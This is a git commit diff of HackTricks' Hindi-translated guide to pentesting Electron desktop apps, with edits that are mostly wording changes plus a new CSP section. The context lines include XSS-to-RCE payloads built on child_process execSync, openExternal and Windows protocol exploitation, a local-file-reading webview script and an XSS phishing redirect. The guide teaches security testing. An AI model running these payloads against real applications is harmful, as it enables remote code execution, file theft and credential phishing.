mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
d10bf39ff1
commit
c778083b45
@ -4,7 +4,7 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटेंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
|
||||
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटएंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
|
||||
|
||||
आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालना होगा:
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
**renderer process** की सेटिंग्स को **main process** में main.js फ़ाइल के अंदर **कॉन्फ़िगर** किया जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **सेटिंग्स को सही तरीके से कॉन्फ़िगर** किया गया हो।
|
||||
**renderer process** की सेटिंग्स को **main process** में main.js फ़ाइल के अंदर **कॉन्फ़िगर** किया जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **सेटिंग्स को सही तरीके से कॉन्फ़िगर** किया गया है।
|
||||
|
||||
Electron एप्लिकेशन **डिवाइस तक पहुँच** सकता है Node APIs के माध्यम से, हालाँकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:
|
||||
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
कुछ **RCE payloads** [यहां](https://7as.es/electron/nodeIntegration_rce.txt) से:
|
||||
कुछ **RCE payloads** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt) से:
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,9 +95,9 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### ट्रैफ़िक कैप्चर करें
|
||||
### Capture traffic
|
||||
|
||||
स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और प्रॉक्सी के उपयोग को जोड़ें जैसे:
|
||||
स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और एक प्रॉक्सी का उपयोग जोड़ें जैसे:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसके पास **Node APIs तक असीमित पहुंच है**:
|
||||
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुंच** है:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### क्लिक इवेंट बायपास करें
|
||||
|
||||
यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय एक मध्य क्लिक करके** उन्हें बायपास करने में सक्षम हो सकते हैं।
|
||||
यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय एक मध्य क्लिक** करके उन्हें बायपास करने में सक्षम हो सकते हैं।
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -187,12 +187,12 @@ For more info about this examples check [https://shabarkin.medium.com/1-click-rc
|
||||
|
||||
जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो `nodeIntegration` और `contextIsolation` के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि **क्लाइंट-साइड रिमोट कोड निष्पादन (RCE)** जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है।
|
||||
|
||||
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स सक्रिय होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
|
||||
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
ये लिस्नर्स **डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं** ताकि इसका अपना **बिजनेस लॉजिक** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि क्या एक नेविगेटेड लिंक को आंतरिक रूप से खोला जाना चाहिए या एक बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally` के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोला जाना चाहिए, `shell.openExternal` फ़ंक्शन का उपयोग करते हुए।
|
||||
ये श्रोता **डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं** ताकि इसका अपना **व्यापारिक तर्क** लागू किया जा सके। एप्लिकेशन यह मूल्यांकन करता है कि क्या एक नेविगेटेड लिंक को आंतरिक रूप से खोला जाना चाहिए या एक बाहरी वेब ब्राउज़र में। यह निर्णय आमतौर पर एक फ़ंक्शन, `openInternally` के माध्यम से लिया जाता है। यदि यह फ़ंक्शन `false` लौटाता है, तो इसका मतलब है कि लिंक को बाहरी रूप से खोला जाना चाहिए, `shell.openExternal` फ़ंक्शन का उपयोग करते हुए।
|
||||
|
||||
**यहां एक सरल pseudocode है:**
|
||||
|
||||
@ -200,9 +200,9 @@ webContents.on("will-navigate", function (event, url) {}
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS सुरक्षा सर्वोत्तम प्रथाओं की सलाह देती है कि `openExternal` फ़ंक्शन के साथ अविश्वसनीय सामग्री को स्वीकार न करें, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, कोई [इस संसाधन](https://positive.security/blog/url-open-rce#windows-10-19042) का संदर्भ ले सकता है, जिसमें इस भेद्यता का शोषण करने में सक्षम Windows प्रोटोकॉल के उदाहरण शामिल हैं।
|
||||
Electron JS सुरक्षा सर्वोत्तम प्रथाएँ `openExternal` फ़ंक्शन के साथ अविश्वसनीय सामग्री को स्वीकार करने के खिलाफ सलाह देती हैं, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, कोई [इस संसाधन](https://positive.security/blog/url-open-rce#windows-10-19042) का संदर्भ ले सकता है, जिसमें इस भेद्यता का शोषण करने में सक्षम Windows प्रोटोकॉल के उदाहरण शामिल हैं।
|
||||
|
||||
macos में, `openExternal` फ़ंक्शन का उपयोग मनमाने कमांड को निष्पादित करने के लिए किया जा सकता है जैसे कि `shell.openExternal('file:///System/Applications/Calculator.app')`।
|
||||
macos में, `openExternal` फ़ंक्शन का उपयोग मनमाने आदेशों को निष्पादित करने के लिए किया जा सकता है जैसे कि `shell.openExternal('file:///System/Applications/Calculator.app')` में।
|
||||
|
||||
**Windows प्रोटोकॉल शोषण के उदाहरणों में शामिल हैं:**
|
||||
```html
|
||||
@ -226,11 +226,11 @@ window.open(
|
||||
```
|
||||
## Reading Internal Files: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation` को अक्षम करना `<webview>` टैग्स के उपयोग की अनुमति देता है**, जो `<iframe>` के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का उपयोग करके आंतरिक फ़ाइलों की सामग्री पढ़ने का प्रदर्शन करता है:
|
||||
**`contextIsolation` को अक्षम करना `<webview>` टैग के उपयोग की अनुमति देता है**, जो `<iframe>` के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का उपयोग करके आंतरिक फ़ाइलों की सामग्री पढ़ने का प्रदर्शन करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने के लिए एप्लिकेशन का शोषण करने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
|
||||
इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने और एप्लिकेशन का शोषण करने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -246,23 +246,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + पुराना Chromium**
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना** संभव हो सकता है।\
|
||||
यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना संभव हो सकता है।**\
|
||||
आप इस **writeup** में एक उदाहरण देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS फ़िशिंग आंतरिक URL regex बायपास के माध्यम से**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं।
|
||||
मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फिशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं।
|
||||
|
||||
सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड की जांच करते समय क्या होता है:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुली** जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
|
||||
**`openInternally`** को कॉल यह तय करेगा कि **link** **desktop window** में **खुला** जाएगा क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
|
||||
|
||||
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है ताकि **एक नई विंडो खोली जाए** जो हमलावर की अवसंरचना में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
|
||||
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है ताकि **एक नई विंडो खोली जा सके** जो हमलावर की अवसंरचना में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -280,7 +280,7 @@ Electron Remote module **renderer processes को मुख्य प्रक
|
||||
|
||||
Electron 14 से `remote` मॉड्यूल को सुरक्षा और प्रदर्शन कारणों से कई चरणों में सक्षम किया जा सकता है, इसलिए इसे **उपयोग न करने की सिफारिश की जाती है**।
|
||||
|
||||
इसे सक्षम करने के लिए, सबसे पहले इसे **मुख्य प्रक्रिया में सक्षम करना आवश्यक है**:
|
||||
इसे सक्षम करने के लिए, सबसे पहले **मुख्य प्रक्रिया में इसे सक्षम करना आवश्यक है**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -298,21 +298,21 @@ import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** कुछ दिलचस्प **functions** को दर्शाता है जो **`app`** ऑब्जेक्ट द्वारा remote module से उपलब्ध हैं:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **वर्तमान** उदाहरण को **बंद** करके और एक नया **लॉन्च** करके एप्लिकेशन को **पुनः प्रारंभ** करता है। **ऐप अपडेट** या महत्वपूर्ण **राज्य परिवर्तनों** के लिए उपयोगी।
|
||||
- **वर्तमान** उदाहरण को **बंद** करके और **नया** उदाहरण **शुरू** करके एप्लिकेशन को **पुनः प्रारंभ** करता है। **ऐप अपडेट** या महत्वपूर्ण **राज्य परिवर्तनों** के लिए उपयोगी।
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **ऐप लॉग्स** को संग्रहीत करने के लिए एक निर्देशिका **परिभाषित** या **बनाता** है। लॉग्स को **`app.getPath()`** या **`app.setPath(pathName, newPath)`** का उपयोग करके **प्राप्त** या **संशोधित** किया जा सकता है।
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- निर्दिष्ट **प्रोटोकॉल** के लिए वर्तमान निष्पादन योग्य को **डिफ़ॉल्ट हैंडलर** के रूप में **पंजीकृत** करता है। यदि आवश्यक हो तो आप एक **कस्टम पथ** और **आर्गुमेंट्स** प्रदान कर सकते हैं।
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **जंप लिस्ट** (Windows पर) में **टास्क श्रेणी** में कार्य **जोड़ता** है। प्रत्येक कार्य नियंत्रित कर सकता है कि ऐप कैसे **लॉन्च** होता है या कौन से **आर्गुमेंट्स** पास किए जाते हैं।
|
||||
- **जंप लिस्ट** में **टास्क श्रेणी** में कार्य **जोड़ता** है (Windows पर)। प्रत्येक कार्य नियंत्रित कर सकता है कि ऐप कैसे **शुरू** होता है या कौन से **आर्गुमेंट्स** पास किए जाते हैं।
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- सिस्टम के **सर्टिफिकेट स्टोर** में एक **PKCS#12 सर्टिफिकेट** **आयात** करता है (केवल Linux)। परिणाम को संभालने के लिए एक **callback** का उपयोग किया जा सकता है।
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- एप्लिकेशन को **Applications folder** (macOS पर) में **स्थानांतरित** करता है। Mac उपयोगकर्ताओं के लिए एक **मानक स्थापना** सुनिश्चित करने में मदद करता है।
|
||||
- एप्लिकेशन को **Applications folder** में **स्थानांतरित** करता है (macOS पर)। Mac उपयोगकर्ताओं के लिए एक **मानक स्थापना** सुनिश्चित करने में मदद करता है।
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Windows** पर एक **कस्टम जंप लिस्ट** को **सेट** या **हटाता** है। आप उपयोगकर्ता के लिए कार्यों को व्यवस्थित करने के लिए **श्रेणियाँ** निर्दिष्ट कर सकते हैं।
|
||||
- **Windows** पर एक **कस्टम जंप लिस्ट** **सेट** या **हटाता** है। आप उपयोगकर्ता के लिए कार्यों को व्यवस्थित करने के लिए **श्रेणियाँ** निर्दिष्ट कर सकते हैं।
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **लॉगिन** पर कौन से **निष्पादन योग्य** **विकल्पों** के साथ लॉन्च होते हैं, इसे **कॉन्फ़िगर** करता है (केवल macOS और Windows)।
|
||||
- **लॉगिन** पर कौन से **निष्पादन योग्य** **शुरू** होते हैं और उनके **विकल्पों** को **कॉन्फ़िगर** करता है (केवल macOS और Windows)।
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
@ -336,13 +336,13 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **स्थानीय macOS सूचनाओं** के लिए **सुनता** है NSDistributedNotificationCenter का उपयोग करके।
|
||||
* **स्थानीय macOS सूचनाओं** के लिए **सुनता** है, NSDistributedNotificationCenter का उपयोग करके।
|
||||
* **macOS Catalina** से पहले, आप **nil** को CFNotificationCenterAddObserver में पास करके **सभी** वितरित सूचनाओं को स्निफ कर सकते थे।
|
||||
* **Catalina / Big Sur** के बाद, सैंडबॉक्स किए गए ऐप्स अभी भी **कई घटनाओं** (उदाहरण के लिए, **स्क्रीन लॉक/अनलॉक**, **वॉल्यूम माउंट**, **नेटवर्क गतिविधि**, आदि) के लिए **नाम** द्वारा सूचनाएं पंजीकृत करके **सदस्यता** ले सकते हैं।
|
||||
* **Catalina / Big Sur** के बाद, सैंडबॉक्स किए गए ऐप्स अभी भी **कई घटनाओं** (उदाहरण के लिए, **स्क्रीन लॉक/अनलॉक**, **वॉल्यूम माउंट**, **नेटवर्क गतिविधि**, आदि) के लिए **नाम** द्वारा सूचनाओं को **सदस्यता** ले सकते हैं।
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **NSUserDefaults** के साथ **इंटरफेस** करता है, जो macOS पर **ऐप्लिकेशन** या **वैश्विक** प्राथमिकताएं संग्रहीत करता है।
|
||||
* **NSUserDefaults** के साथ **इंटरफेस** करता है, जो macOS पर **ऐप्लिकेशन** या **वैश्विक** प्राथमिकताएँ संग्रहीत करता है।
|
||||
|
||||
* **getUserDefault** संवेदनशील जानकारी, जैसे **हाल के फ़ाइल स्थान** या **उपयोगकर्ता का भौगोलिक स्थान** **प्राप्त** कर सकता है।
|
||||
|
||||
@ -356,10 +356,22 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
अधिक जानकारी के लिए देखें [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron ऐप्स में **XSS हमलों** को **रोकने** के लिए एक **Content Security Policy (CSP)** होनी चाहिए। **CSP** एक **सुरक्षा मानक** है जो ब्राउज़र में **अविश्वसनीय कोड** के **निष्पादन** को **रोकने** में मदद करता है।
|
||||
|
||||
यह आमतौर पर **`main.js`** फ़ाइल या **`index.html`** टेम्पलेट में **meta tag** के अंदर CSP के साथ **कॉन्फ़िगर** किया जाता है।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) एक उपकरण है जो Electron-आधारित अनुप्रयोगों में गलत कॉन्फ़िगरेशन और सुरक्षा एंटी-पैटर्न की पहचान करता है।
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron अनुप्रयोगों के लिए एक ओपन सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron अनुप्रयोगों के लिए एक ओपन-सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) कमजोर तृतीय पक्ष पुस्तकालयों की जांच करने के लिए
|
||||
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
|
||||
|
||||
@ -390,7 +402,7 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## **संदर्भ**
|
||||
## **References**
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
|
Loading…
x
Reference in New Issue
Block a user